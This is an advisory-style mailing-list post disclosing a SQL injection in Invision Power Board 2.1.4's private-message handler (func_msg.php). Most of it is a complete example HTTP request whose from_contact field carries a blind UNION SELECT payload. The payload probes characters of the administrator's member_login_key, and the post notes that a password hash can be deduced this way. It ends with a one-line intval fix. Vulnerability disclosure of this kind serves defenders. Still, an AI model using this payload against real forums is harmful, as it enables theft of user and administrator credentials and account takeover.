SQL injection exploit IPB <= 2.1.4 Apr 27 2006 04:05PM
satanchild123 hotmail com
This exploit has only been tested on 2.1.4. Others are most likely vulnerable but have not yet been tested.

Simple SQL injection in func_msg.php on line 448. to_by_id is not properly sanitized. It's passed to the class via an instance of the messenger class, which takes it from the ipb sanitized input array. It has limited use (only know whether the query was successful).

To exploit this, make a request to send a PM, but include a value in the request so that

from_contact=<SQL INJECTION>

Here is an example request:

Host: localhost

User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20060405 Firefox/1.0.7

Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plai
n;q=0.8,image/png,*/*;q=0.5

Accept-Language: en,en-us;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Keep-Alive: 300

Connection: keep-alive

Referer: http://localhost/ipb/index.php?act=msg

Cookie: bbmode=0; member_id=1; forum_read=a%3A1%3A%7Bi%3A2%3Bi%3A1146068785%3B%7D ; pass_hash=c0a4d27ac2c36ef6fe25d27c5c0f3b17; session_id=9dd0de2c068478414d8e7bae7790ce46; ipb-myass-div=310,109

Content-Type: application/x-www-form-urlencoded

Content-Length: 438

removeattachid=0&OID=&act=Msg&CODE=04&MODE=01&post _key=1f40fdcbdc94fc9c1
a402e2019f2b314&auth_key=bcb2b3362c8fa575e58cd376a b4fb6be&MAX_FILE_SIZE=
51200000&entered_name=asdfasdfasdf&carbon_copy=&ms g_title=asdfasdfasdf&f
font=0&fsize=0&Post=asdfasdfasdfasdfasdf&from_cont act=-1+UNION+SELECT+0%
2C+CHAR%28110%2C117%2C116%2C105%2C99%2C117%2C108%2 C117%2C115%29+FROM+ibf
_members+WHERE+id%3D1+AND+MID%28member_login_key%2 C+2%2C+1%29+%3D+CHAR%2
848%29

Using an injection like this someone's pass hash could be easily deduced.

Simple fix: intval($this->to_by_id)

securityfocus.com